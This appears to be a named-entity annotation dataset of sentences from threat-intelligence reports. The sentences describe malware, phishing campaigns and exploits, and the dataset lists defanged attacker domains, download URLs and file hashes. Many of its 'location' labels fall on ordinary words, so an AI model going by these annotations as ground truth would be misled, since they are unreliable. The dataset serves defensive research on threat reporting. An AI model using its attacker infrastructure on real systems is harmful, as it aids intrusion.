{"id":10617,"text":"In the simple phishing example below, an attacker has sent a phishing email with a security alert lure from \u201cGoolge\u201d suggesting the user secure their account.","entities":[{"id":32385,"label":"attack-pattern","start_offset":14,"end_offset":22},{"id":32386,"label":"attack-pattern","start_offset":61,"end_offset":69},{"id":32387,"label":"location","start_offset":83,"end_offset":91},{"id":32388,"label":"location","start_offset":92,"end_offset":97},{"id":32389,"label":"location","start_offset":98,"end_offset":102}],"relations":[],"Comments":[]}
{"id":210,"text":" Further analysis has confirmed that the malware accepts command-line arguments allowing an attacker to instruct the malware to sleep for a period of time or to shut down the system.","entities":[],"relations":[],"Comments":[]}
{"id":6959,"text":"ObliqueRat attack chain     ","entities":[{"id":21788,"label":"malware","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
{"id":3624,"text":" A good example of a generalized phishing campaign is the Blank Slate Campaign we wrote about in March 2017.","entities":[{"id":49409,"label":"campaign","start_offset":58,"end_offset":78},{"id":49410,"label":"TIME","start_offset":97,"end_offset":107},{"id":49408,"label":"attack-pattern","start_offset":33,"end_offset":50}],"relations":[{"id":793,"from_id":49409,"to_id":49408,"type":"uses"}],"Comments":[]}
{"id":1631,"text":" Each of these applications is designed to appear like a legitimate application already in the app store.","entities":[],"relations":[],"Comments":[]}
{"id":10409,"text":"Further research uncovered other dropped files involved in this attack.","entities":[],"relations":[],"Comments":[]}
{"id":8191,"text":"A perceptive employee could potentially identify this as something unusual, which raises red flags.","entities":[],"relations":[],"Comments":[]}
{"id":50,"text":"Put another way, the ransomware model represented both increased efficiency and decreased risk in monetizing the infection.","entities":[],"relations":[],"Comments":[]}
{"id":2927,"text":"The attackers are doing this by using URL shorteners to make XMRig look like other, legitimate, and expected programs.","entities":[{"id":48098,"label":"tools","start_offset":60,"end_offset":66}],"relations":[],"Comments":[]}
{"id":2816,"text":" Reports quickly emerged that this attack was effective due to the presence of code exploiting a vulnerability (CVE-2017-0144) in Microsoft Windows (code named: ETERNALBLUE) that was released as part of the Equation Group dump by the Shadow Brokers in their fifth leak on April 14, 2017.","entities":[{"id":48034,"label":"SOFTWARE","start_offset":130,"end_offset":147},{"id":48035,"label":"TIME","start_offset":272,"end_offset":286},{"id":48033,"label":"vulnerability","start_offset":112,"end_offset":125},{"id":8600,"label":"vulnerability","start_offset":161,"end_offset":172},{"id":8601,"label":"threat-actor","start_offset":207,"end_offset":221},{"id":8602,"label":"threat-actor","start_offset":230,"end_offset":248}],"relations":[{"id":377,"from_id":48034,"to_id":48033,"type":"has"},{"id":378,"from_id":8600,"to_id":48033,"type":"related-to"},{"id":379,"from_id":8600,"to_id":8601,"type":"related-to"}],"Comments":[]}
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{"id":2279,"text":"These services include selling access to virtual machines loaded with stolen credentials (dont[.]farm), proxy access (awmproxy), and selling credit card numbers (extracard) to be used for other malicious activities such as serving malicious ads and payment fraud on Google Ads.","entities":[{"id":47349,"label":"DOMAIN","start_offset":90,"end_offset":101},{"id":47350,"label":"SOFTWARE","start_offset":266,"end_offset":276}],"relations":[],"Comments":[]}
{"id":5802,"text":"And cyberspace is just one of them now, but we're getting into this unique area which we anticipated\u2026could cyber conflict be the main domain that is being acted upon?","entities":[{"id":17948,"label":"location","start_offset":0,"end_offset":3},{"id":17949,"label":"identity","start_offset":18,"end_offset":22},{"id":17951,"label":"location","start_offset":30,"end_offset":34}],"relations":[],"Comments":[]}
{"id":2489,"text":"Since exploitation is straightforward and all the relevant technical details have already gone viral on the internet, it\u2019s possible that SpringShell will become fully weaponized and abused on a larger scale.","entities":[{"id":47572,"label":"vulnerability","start_offset":137,"end_offset":148}],"relations":[],"Comments":[]}
{"id":10091,"text":"Supernova, one of the malicious components associated with the attack, is a .NET web shell backdoor that presents itself as a legitimate SolarWinds web service handler.","entities":[{"id":30777,"label":"tools","start_offset":0,"end_offset":9},{"id":30778,"label":"location","start_offset":11,"end_offset":14},{"id":30779,"label":"attack-pattern","start_offset":81,"end_offset":90},{"id":30780,"label":"identity","start_offset":137,"end_offset":147},{"id":30781,"label":"attack-pattern","start_offset":148,"end_offset":159}],"relations":[],"Comments":[]}
{"id":2198,"text":"This check exists in a number of the subsequent processes\/executables used by the TDrop2 malware variant.","entities":[{"id":6600,"label":"malware","start_offset":82,"end_offset":88}],"relations":[],"Comments":[]}
{"id":258,"text":"For example, we detected a website that was distributing a malicious binary by masquerading as a popular global communication app targeting users in Ukraine.","entities":[{"id":847,"label":"attack-pattern","start_offset":79,"end_offset":91},{"id":44662,"label":"location","start_offset":149,"end_offset":156},{"id":44663,"label":"attack-pattern","start_offset":44,"end_offset":75}],"relations":[],"Comments":[]}
{"id":5118,"text":"[00:59] It makes for interesting cinema, just like the red code\/green code in CSI Cyber, but it's not a reflection of reality and that's a real challenge.","entities":[],"relations":[],"Comments":[]}
{"id":4122,"text":"Checks environment information 0x500E Unknown","entities":[],"relations":[],"Comments":[]}
{"id":8149,"text":"In addition, a URL linking to one of the apps\u2019 Google Play pages is also found on one of the C&C servers.","entities":[],"relations":[],"Comments":[]}
{"id":12619,"text":"Before it encrypts any file, the ransomware also performs certain preparatory routines.","entities":[],"relations":[],"Comments":[]}
{"id":3321,"text":"These database files are used for saving the chat history.","entities":[],"relations":[],"Comments":[]}
{"id":2200,"text":"Once extracted, the file writes it to a new file on disk prior to executing it.","entities":[],"relations":[],"Comments":[]}
{"id":3973,"text":"A consolidated view of all security sensors provides a single-pane-of-glass view that will promote quick and thorough investigation and response.","entities":[],"relations":[],"Comments":[]}
{"id":12086,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/  Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf  ","entities":[{"id":37413,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":37414,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":37415,"label":"location","start_offset":31,"end_offset":39},{"id":37416,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":37417,"label":"URL","start_offset":229,"end_offset":255},{"id":37418,"label":"location","start_offset":256,"end_offset":260},{"id":37419,"label":"URL","start_offset":292,"end_offset":318},{"id":37420,"label":"location","start_offset":319,"end_offset":323},{"id":37421,"label":"URL","start_offset":340,"end_offset":366},{"id":37422,"label":"location","start_offset":367,"end_offset":371},{"id":37423,"label":"malware","start_offset":410,"end_offset":417},{"id":37424,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]}
{"id":468,"text":"In this environment blocking and taking down DGA-related domains quickly becomes a game of \u201cwhack a mole\u201d that is sometimes futile.","entities":[],"relations":[],"Comments":[]}
{"id":1889,"text":"In our previous entry, we already covered the Delphi component in the context of the Confucius and Patchwork connection.","entities":[{"id":47022,"label":"threat-actor","start_offset":85,"end_offset":94},{"id":47023,"label":"threat-actor","start_offset":99,"end_offset":108}],"relations":[],"Comments":[]}
{"id":7369,"text":"The script then waits 20 minutes before it runs the wrapper script initall: 2e2c9d08c7c955f6ce5e27e70b0ec78a888c276d71a72daa0ef9e3e40f019a1a  initall  Figure 2.","entities":[{"id":22893,"label":"location","start_offset":16,"end_offset":21},{"id":22894,"label":"TIME","start_offset":22,"end_offset":32},{"id":22895,"label":"SHA2","start_offset":76,"end_offset":140}],"relations":[],"Comments":[]}
{"id":8563,"text":"Users were instructed to activate an invitation to a (fake) webinar by logging in.","entities":[],"relations":[],"Comments":[]}
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{"id":1972,"text":"In fact, a 32 byte length is always read, which could lead to a buffer out-of-bounds condition.","entities":[],"relations":[],"Comments":[]}
{"id":4699,"text":" The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google\u2019s Threat Analysis Group (TAG) on July 27, 2022.  Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee: Thank you for the opportunity to appear before the Committee to discuss Google\u2019s efforts to protect users from commercial spyware.","entities":[{"id":50584,"label":"identity","start_offset":83,"end_offset":96},{"id":50585,"label":"TIME","start_offset":157,"end_offset":170},{"id":50587,"label":"identity","start_offset":324,"end_offset":330},{"id":50583,"label":"identity","start_offset":46,"end_offset":79},{"id":50586,"label":"identity","start_offset":173,"end_offset":188},{"id":50588,"label":"identity","start_offset":98,"end_offset":153}],"relations":[],"Comments":[]}
{"id":3595,"text":"Note that this does not cover all the samples \u2013 it is possible that other payloads are being deployed as well.","entities":[],"relations":[],"Comments":[]}
{"id":3187,"text":"We found that the BIOPASS RAT has the ability to open an HTTP service running on localhost on a port chosen from a hard-coded list.","entities":[{"id":48314,"label":"malware","start_offset":18,"end_offset":29}],"relations":[],"Comments":[]}
{"id":1478,"text":"The developer is aware of this concern and plans to encourage more of its customers to sign their own applications in the coming year.","entities":[],"relations":[],"Comments":[]}
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{"id":115,"text":"A challenge many organizations face is that the cloud isn\u2019t simple, and many of the technologies that make up the cloud are new, with new features being deployed all the time.","entities":[],"relations":[],"Comments":[]}
{"id":3399,"text":"BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  7d0d7d416db5bd7201420982987e213a129eef2314193e4558a24f3c9a91a38e  flash_installer.exe  ","entities":[{"id":10261,"label":"malware","start_offset":0,"end_offset":11},{"id":10262,"label":"SHA2","start_offset":46,"end_offset":110},{"id":49062,"label":"malware","start_offset":20,"end_offset":44},{"id":49063,"label":"FILEPATH","start_offset":112,"end_offset":131}],"relations":[{"id":632,"from_id":49063,"to_id":49062,"type":"indicates"},{"id":633,"from_id":10262,"to_id":49062,"type":"indicates"},{"id":634,"from_id":10261,"to_id":49062,"type":"duplicate-of"},{"id":635,"from_id":10262,"to_id":49063,"type":"duplicate-of"}],"Comments":[]}
{"id":12193,"text":"JuneWe terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
{"id":491,"text":"Users will interact with the window, thinking they are performing their intended function, but they are actually engaging with the attackers overlay window and executing the attacker\u2019s desired function.","entities":[],"relations":[],"Comments":[]}
{"id":1524,"text":" Currently these IP addresses are alive and active.","entities":[],"relations":[],"Comments":[]}
{"id":2690,"text":"Note: This is not an all-inclusive list of the protections provided by Palo Alto Networks.","entities":[{"id":8237,"label":"identity","start_offset":71,"end_offset":89}],"relations":[],"Comments":[]}
{"id":2570,"text":" This underscores why credential theft is something that organizations should prioritize as a top threat and take steps to understand it and prevent it.","entities":[{"id":47767,"label":"attack-pattern","start_offset":22,"end_offset":38}],"relations":[],"Comments":[]}
{"id":1196,"text":"The reason is because most SMS-based IAP SDKs include comprehensive functionalities to monitor, manage, and even intercept a user\u2019s SMS communication silently in the background, without any user interaction or knowledge.","entities":[],"relations":[],"Comments":[]}
{"id":4061,"text":"The capability of ChiserClient is shown in the following table:  Command code Function 0x10001","entities":[{"id":12290,"label":"malware","start_offset":18,"end_offset":30}],"relations":[],"Comments":[]}
{"id":1202,"text":"According to JoloPlay\u2019s website, these 17 games have been downloaded and installed more than 1.7 million times.","entities":[{"id":46593,"label":"SOFTWARE","start_offset":13,"end_offset":22}],"relations":[],"Comments":[]}
{"id":10722,"text":"The specificity of their targets stems from the social engineering tactics used.","entities":[],"relations":[],"Comments":[]}
{"id":876,"text":"analysis sample  PClock2 is written in Visual Basic.","entities":[{"id":46410,"label":"SOFTWARE","start_offset":39,"end_offset":51},{"id":44898,"label":"malware","start_offset":17,"end_offset":24}],"relations":[{"id":188,"from_id":44898,"to_id":46410,"type":"uses"}],"Comments":[]}
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{"id":3189,"text":"It conducts this identification by testing whether the port is open or not and then by checking the response.      Figure 3.","entities":[],"relations":[],"Comments":[]}
{"id":634,"text":" The latest version of the Petya ransomware is spreading over Windows SMB and is reportedly using the ETERNALBLUE exploit tool, which exploits CVE-2017-0144 and was originally released by the Shadow Brokers group in April 2017.","entities":[{"id":2111,"label":"malware","start_offset":27,"end_offset":32},{"id":2113,"label":"malware","start_offset":102,"end_offset":113},{"id":2116,"label":"threat-actor","start_offset":188,"end_offset":206},{"id":46221,"label":"SOFTWARE","start_offset":62,"end_offset":73},{"id":46222,"label":"vulnerability","start_offset":143,"end_offset":156},{"id":46223,"label":"TIME","start_offset":216,"end_offset":226}],"relations":[{"id":171,"from_id":2111,"to_id":46222,"type":"exploits"},{"id":170,"from_id":2111,"to_id":46221,"type":"targets"},{"id":172,"from_id":2116,"to_id":2113,"type":"authored-by"},{"id":173,"from_id":46222,"to_id":46221,"type":"targets"}],"Comments":[]}
{"id":168,"text":" From an engineering point of view, this sole, specific targeting of files that matter significantly increases the chances of ransomware\u2019s success.","entities":[],"relations":[],"Comments":[]}
{"id":2723,"text":"  This vulnerability exists within the Microsoft Server Message Block 3.0 (SMBv3), specifically regarding malformed compression headers.","entities":[{"id":47964,"label":"SOFTWARE","start_offset":39,"end_offset":81}],"relations":[],"Comments":[]}
{"id":793,"text":" For the foreseeable future, Microsoft may introduce more defensive mechanisms against use-after-free bugs or even heap fengshui to reduce the risk of being exploited.","entities":[{"id":46354,"label":"identity","start_offset":29,"end_offset":38}],"relations":[],"Comments":[]}
{"id":13522,"text":"The US Department of Energy (DOE) recently launched the Operational Technology (OT) Defender Fellowship.","entities":[{"id":51581,"label":"identity","start_offset":4,"end_offset":33}],"relations":[],"Comments":[]}
{"id":5412,"text":"In the case of Cyclops Blink, we received samples targeting Asus routers that were not previously reported on.","entities":[{"id":51416,"label":"malware","start_offset":15,"end_offset":28}],"relations":[],"Comments":[]}
{"id":8965,"text":"    Afterward, one more warning about the unverified developer is displayed.","entities":[],"relations":[],"Comments":[]}
{"id":3946,"text":"    Execution of arbitrary commands via session id","entities":[],"relations":[],"Comments":[]}
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{"id":5446,"text":" What is it?","entities":[],"relations":[],"Comments":[]}
{"id":4985,"text":"We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.","entities":[],"relations":[],"Comments":[]}
{"id":1794,"text":"The ADSS JAVA component (C:\\ManageEngine\\ADSelfService Plus\\jre\\bin\\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers\u2019 command and control (C&C) server.","entities":[{"id":45134,"label":"FILEPATH","start_offset":25,"end_offset":76},{"id":45135,"label":"FILEPATH","start_offset":87,"end_offset":96}],"relations":[],"Comments":[]}
{"id":8642,"text":"In our environment, we did not receive any payloads past this stage.","entities":[],"relations":[],"Comments":[]}
{"id":14356,"text":"Two months later, the C&C server was changed to hxxp:\/\/miakhalifagame[.]com.","entities":[{"id":51789,"label":"URL","start_offset":48,"end_offset":75}],"relations":[],"Comments":[]}
{"id":5705,"text":"This script was designed to show a social engineering message \u2014 typically a Flash update popup or a DNS error (note that Adobe discontinued Flash Player at the end of December 2020) that then instructed the visitor to download a malicious file that turned out to be a Cobalt Strike loader.","entities":[],"relations":[],"Comments":[]}
{"id":731,"text":"Additionally, Prisma Cloud users can also build a custom vulnerability detection rule to identify if any system is running an OMI package with a version previous to 1.6.8.1.","entities":[{"id":46314,"label":"SOFTWARE","start_offset":14,"end_offset":26},{"id":46315,"label":"SOFTWARE","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
{"id":4552,"text":"This is the first known instance of Turla distributing Android-related malware.","entities":[{"id":50361,"label":"threat-actor","start_offset":36,"end_offset":41},{"id":50362,"label":"SOFTWARE","start_offset":55,"end_offset":62}],"relations":[{"id":949,"from_id":50361,"to_id":50362,"type":"targets"}],"Comments":[]}
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{"id":2171,"text":"Palo Alto Networks and Unit 42 will continue to monitor for evidence of exploitation and further novel use cases.","entities":[{"id":47305,"label":"identity","start_offset":0,"end_offset":18},{"id":47306,"label":"identity","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
{"id":9787,"text":"Apart from knowledge and awareness of phishing and social engineering, it is also important to be prepared with effective and layered security solutions.","entities":[{"id":29806,"label":"location","start_offset":21,"end_offset":24},{"id":29807,"label":"attack-pattern","start_offset":38,"end_offset":46},{"id":29808,"label":"location","start_offset":47,"end_offset":50},{"id":29809,"label":"location","start_offset":122,"end_offset":125},{"id":29810,"label":"location","start_offset":134,"end_offset":142}],"relations":[],"Comments":[]}
{"id":14332,"text":"The adult game first used by the attackers was also found in the list of games advertised by hxxp:\/\/www[.]roundyearfun[.]org Our analysis revealed that hxxp:\/\/www[.]roundyearfun[.]org was also used as a C&C address to save victims\u2019 data.","entities":[{"id":48560,"label":"Infrastucture","start_offset":202,"end_offset":207},{"id":48558,"label":"URL","start_offset":93,"end_offset":124},{"id":48559,"label":"URL","start_offset":152,"end_offset":183}],"relations":[],"Comments":[]}
{"id":977,"text":"We have captured over 18,000 samples that contain the SMS stealing library since August 2015, meaning the number of affected users is considerable.","entities":[{"id":46473,"label":"TIME","start_offset":81,"end_offset":92},{"id":46474,"label":"attack-pattern","start_offset":54,"end_offset":66}],"relations":[],"Comments":[]}
{"id":13862,"text":"Apart from locking Colonial Pipeline\u2019s computer systems, DarkSide also stole over 100 GB of corporate data.","entities":[{"id":42986,"label":"threat-actor","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
{"id":14102,"text":"Figure 12 shows a comparison between the two samples.","entities":[],"relations":[],"Comments":[]}
{"id":2731,"text":"For client mitigation, recommend creating an outbound firewall rule to block SMB outbound on public and private interfaces.","entities":[{"id":47973,"label":"SOFTWARE","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
{"id":9737,"text":"Our analysis revealed that they drop a new backdoor, which is written in PowerShell as MuddyWater\u2019s known POWERSTATS backdoor.","entities":[{"id":29706,"label":"attack-pattern","start_offset":73,"end_offset":83},{"id":29708,"label":"malware","start_offset":106,"end_offset":116}],"relations":[],"Comments":[]}
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{"id":10549,"text":"Google\u2019s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.","entities":[{"id":32158,"label":"location","start_offset":62,"end_offset":70},{"id":32159,"label":"location","start_offset":111,"end_offset":114},{"id":32160,"label":"location","start_offset":115,"end_offset":119},{"id":32161,"label":"attack-pattern","start_offset":138,"end_offset":146},{"id":32162,"label":"location","start_offset":147,"end_offset":150},{"id":32164,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]}
{"id":1939,"text":"For one, there is the domain pikrpro[.]eu and its subdomains\u2014the islamicfinderfeedback[.]pikrpro[.]eu and the memrifilesforinfo[.]pikpro[.]eu.","entities":[{"id":47063,"label":"DOMAIN","start_offset":110,"end_offset":141},{"id":47061,"label":"DOMAIN","start_offset":29,"end_offset":41},{"id":47062,"label":"DOMAIN","start_offset":65,"end_offset":101}],"relations":[],"Comments":[]}
{"id":8570,"text":"Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.","entities":[{"id":26484,"label":"location","start_offset":45,"end_offset":48},{"id":26485,"label":"threat-actor","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]}
{"id":13687,"text":"We found a BEC mail sample that was sent from the same IP.","entities":[],"relations":[],"Comments":[]}
{"id":718,"text":"Unit 42 recommends customers upgrade to the latest release of Confluence Server and Data Center.","entities":[{"id":46285,"label":"identity","start_offset":0,"end_offset":7},{"id":46286,"label":"SOFTWARE","start_offset":62,"end_offset":95}],"relations":[],"Comments":[]}
{"id":916,"text":" After it finished the encryption routine, PClock2 generates a VBScript file in the following directory:","entities":[{"id":46437,"label":"malware","start_offset":43,"end_offset":50},{"id":46438,"label":"SOFTWARE","start_offset":63,"end_offset":71}],"relations":[],"Comments":[]}
{"id":10043,"text":"One of the files, rsync, is an initially obfuscated Perl-based Shellbot capable of multiple backdoor commands such as file downloading, shell cmd execution, and DDoS.  Figure 4. Obfuscated Perl script  Figure 5.","entities":[{"id":30647,"label":"location","start_offset":0,"end_offset":3},{"id":30648,"label":"location","start_offset":52,"end_offset":56},{"id":30649,"label":"location","start_offset":136,"end_offset":141},{"id":30650,"label":"malware","start_offset":142,"end_offset":145},{"id":30651,"label":"location","start_offset":157,"end_offset":160},{"id":30653,"label":"location","start_offset":189,"end_offset":193}],"relations":[],"Comments":[]}
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{"id":13626,"text":"Communication with C&C uses sockets and is encrypted with simple SUB 0x46, XOR 0x19 encryption.","entities":[],"relations":[],"Comments":[]}
{"id":2215,"text":" The downloaded file is dropped to the system32 folder.","entities":[{"id":47321,"label":"FILEPATH","start_offset":39,"end_offset":47}],"relations":[],"Comments":[]}
{"id":3653,"text":"It also takes spear phishing attacks to a level that makes it nearly impossible to distinguish an attack email from a legitimate email.","entities":[{"id":11070,"label":"attack-pattern","start_offset":14,"end_offset":28}],"relations":[],"Comments":[]}
{"id":7810,"text":"As they continue to target businesses in different sectors, we can expect TA505 to keep using phishing and social engineering techniques to compromise systems.","entities":[{"id":24197,"label":"location","start_offset":20,"end_offset":26},{"id":24198,"label":"location","start_offset":63,"end_offset":66},{"id":24200,"label":"attack-pattern","start_offset":94,"end_offset":102},{"id":24201,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
{"id":1379,"text":"Two instances of PowerShell are spawned with an encoded command to sleep for 10 seconds, e.g. C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA== 3.","entities":[{"id":46711,"label":"FILEPATH","start_offset":94,"end_offset":151},{"id":46712,"label":"tools","start_offset":17,"end_offset":27}],"relations":[],"Comments":[]}
{"id":1435,"text":"When an app is published to the Google Play Store, the certificate information is included within the APK file.","entities":[{"id":46767,"label":"SOFTWARE","start_offset":32,"end_offset":49}],"relations":[],"Comments":[]}
{"id":3233,"text":" If the file (that is, the marker) is not found, the backdoor creates a new one and writes the current timestamp onto it.","entities":[],"relations":[],"Comments":[]}
{"id":1942,"text":"The decoy documents tell more about Urpage's possible targets, as it contains text from articles about the region of Kashmir.","entities":[{"id":47066,"label":"threat-actor","start_offset":36,"end_offset":42},{"id":47067,"label":"location","start_offset":117,"end_offset":124}],"relations":[{"id":300,"from_id":47066,"to_id":47067,"type":"targets"}],"Comments":[]}
{"id":931,"text":"AutoFocus users can find more information on samples and indicators related to this attack by viewing the PClock tag.","entities":[{"id":46448,"label":"malware","start_offset":106,"end_offset":112}],"relations":[],"Comments":[]}
{"id":1475,"text":" We\u2019ve contacted the developer to confirm they have retained sole custody of the keys.","entities":[],"relations":[],"Comments":[]}
{"id":1485,"text":"Again, using the same private key is probably due to the convenience in app management.","entities":[],"relations":[],"Comments":[]}
{"id":7736,"text":"Similar to the routine variant in Figure 6, the Excel VBA macros retrieve the FlawedAmmyy downloader from hxxp:\/\/195[.]123[.]245[.]185\/r1 or hxxp:\/\/185[.]225[.]17[.]5\/r1, in then decrypts and executes FlawedAmmyy RAT from hxxp:\/\/185[.]225[.]17[.]5\/2.dat or hxxp:\/\/195[.]123[.]245[.]185\/1.dat.","entities":[{"id":24027,"label":"location","start_offset":48,"end_offset":53},{"id":24028,"label":"malware","start_offset":78,"end_offset":89},{"id":24029,"label":"location","start_offset":188,"end_offset":191},{"id":24030,"label":"malware","start_offset":201,"end_offset":212}],"relations":[],"Comments":[]}
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{"id":1023,"text":"The price for this custom account was only \u00a527 RMB ($4.40 USD); for an extra \u00a513 RMB ($2.12 USD), the buyer can request a custom username at any subdomain for the given institution.","entities":[],"relations":[],"Comments":[]}
{"id":893,"text":" Figure 4. HTTP POST request containing file paths of malware  After installation, PClock2 will also set the following registry key with a value of \u2018INSTALL_OK\u2019.","entities":[{"id":46422,"label":"malware","start_offset":83,"end_offset":90}],"relations":[],"Comments":[]}
{"id":3954,"text":"Credential access","entities":[],"relations":[],"Comments":[]}
{"id":14211,"text":"The malware we analyzed is separated in two files: a loader, and the payload.","entities":[],"relations":[],"Comments":[]}
{"id":13548,"text":"The question asked on a forum showing the payload related to Water Pamola.","entities":[{"id":51624,"label":"campaign","start_offset":61,"end_offset":73}],"relations":[],"Comments":[]}
{"id":4455,"text":"TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.","entities":[{"id":50232,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
{"id":231,"text":"A phishing webpage targeting a Ukrainian state administration employee, detected by our in-house machine learning models on March 16.Our teams at Palo Alto Networks are actively monitoring the phishing landscape surrounding Ukraine-related URLs and are sharing this threat intelligence with relevant authorities in Ukraine and internationally.","entities":[{"id":765,"label":"attack-pattern","start_offset":2,"end_offset":10},{"id":771,"label":"attack-pattern","start_offset":193,"end_offset":201},{"id":44647,"label":"identity","start_offset":31,"end_offset":70},{"id":44648,"label":"TIME","start_offset":124,"end_offset":132},{"id":44649,"label":"identity","start_offset":146,"end_offset":164},{"id":44650,"label":"location","start_offset":315,"end_offset":322}],"relations":[{"id":135,"from_id":765,"to_id":44647,"type":"targets"},{"id":136,"from_id":771,"to_id":44650,"type":"targets"}],"Comments":[]}
{"id":4223,"text":"The application is a simple downloader that sends some basic information (username, antivirus, IP address, and operating system version) encrypted using triple Data Encryption Standard (DES).  Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":2809,"text":"Unit 42 is not aware of any reports where paying the ransom to the WanaCrypt0r attackers has resulted in the recovery of data.","entities":[{"id":48028,"label":"identity","start_offset":0,"end_offset":7},{"id":8587,"label":"malware","start_offset":67,"end_offset":78}],"relations":[],"Comments":[]}
{"id":14377,"text":"On one end of the spectrum are places like universities that maybe manage 10% of the endpoints on their network.","entities":[],"relations":[],"Comments":[]}
{"id":4543,"text":"While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.","entities":[],"relations":[],"Comments":[]}
{"id":2580,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  The Lapsus$ Group threat actor has grown in just a few months from launching a handful of destructive attacks to stealing and publishing source code of multiple top-tier technology companies.","entities":[{"id":45601,"label":"threat-actor","start_offset":57,"end_offset":64}],"relations":[],"Comments":[]}
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{"id":8391,"text":"In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.","entities":[],"relations":[],"Comments":[]}
{"id":4522,"text":"Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms.","entities":[{"id":50320,"label":"identity","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
{"id":1419,"text":"While we haven\u2019t seen any indication that the spam volume has begun to slow down, we do expect the campaign to wind down in the next 24 hours, but a new campaign will probably be close behind.","entities":[{"id":4262,"label":"TIME","start_offset":124,"end_offset":141}],"relations":[],"Comments":[]}
{"id":3527,"text":"We also found that these versions encrypt the communication to its C&C servers.","entities":[],"relations":[],"Comments":[]}
{"id":2571,"text":"We\u2019ve recently published a new Unit 42 white paper on credential theft that we encourage you to read.","entities":[{"id":45597,"label":"identity","start_offset":31,"end_offset":38},{"id":45598,"label":"attack-pattern","start_offset":54,"end_offset":70}],"relations":[],"Comments":[]}
{"id":9231,"text":"CISA ordered government agencies to patch now or disconnect their on-premises Exchange servers.","entities":[],"relations":[],"Comments":[]}
{"id":11688,"text":" The following table shows their targets, related phishing domains, and lure documents used in each of the phishing attacks.  Date  Phishing Domain  Targeted Organization  Targeted Mail server  Redirection after login  2019 Nov     Government of Nepal  mail.nepal.gov.np  Redirect to file \u201cIMG_0002.pdf\u201d  2019 Nov     Ministry of Defence, Nepal  mail.mod.gov.np  Redirect to original mail server  2019 Dec  mail-","entities":[{"id":35857,"label":"attack-pattern","start_offset":50,"end_offset":58},{"id":35858,"label":"location","start_offset":68,"end_offset":71},{"id":35859,"label":"location","start_offset":72,"end_offset":76},{"id":35860,"label":"attack-pattern","start_offset":107,"end_offset":115},{"id":35861,"label":"location","start_offset":126,"end_offset":130},{"id":35862,"label":"attack-pattern","start_offset":132,"end_offset":140},{"id":35864,"label":"location","start_offset":246,"end_offset":251},{"id":35867,"label":"location","start_offset":339,"end_offset":344}],"relations":[],"Comments":[]}
{"id":158,"text":"This was well-intentioned but ultimately backfired: users got fed up clicking \u201cAre you sure?\u201d dialog boxes and quickly disabled the feature, or just mindlessly clicked \u201cOK\u201d every time they saw it.","entities":[],"relations":[],"Comments":[]}
{"id":10957,"text":"And as others have reported, we\u2019re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.","entities":[{"id":33324,"label":"location","start_offset":0,"end_offset":3},{"id":33325,"label":"location","start_offset":80,"end_offset":83},{"id":33326,"label":"attack-pattern","start_offset":84,"end_offset":92},{"id":33327,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
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{"id":14073,"text":"However, these are not the only commonalities.","entities":[],"relations":[],"Comments":[]}
{"id":14171,"text":"With bipartisan support, the decision was made to deprive the Putin regime of the economic resources needed to wage war in Ukraine.","entities":[{"id":48215,"label":"identity","start_offset":62,"end_offset":68},{"id":48216,"label":"location","start_offset":123,"end_offset":130}],"relations":[],"Comments":[]}
{"id":13721,"text":"And since the API hooking shellcode adopts a generic approach, a similar code snippet might be used to target other products in the future and make Waterbear harder to detect.","entities":[{"id":42665,"label":"location","start_offset":0,"end_offset":3},{"id":42666,"label":"attack-pattern","start_offset":18,"end_offset":25},{"id":42667,"label":"location","start_offset":103,"end_offset":109},{"id":42668,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
{"id":8739,"text":"We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
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{"id":3468,"text":"Marade will check if the infected host can connect to the internet and if it is installed with anti-virus (AV) software.","entities":[{"id":49266,"label":"malware","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
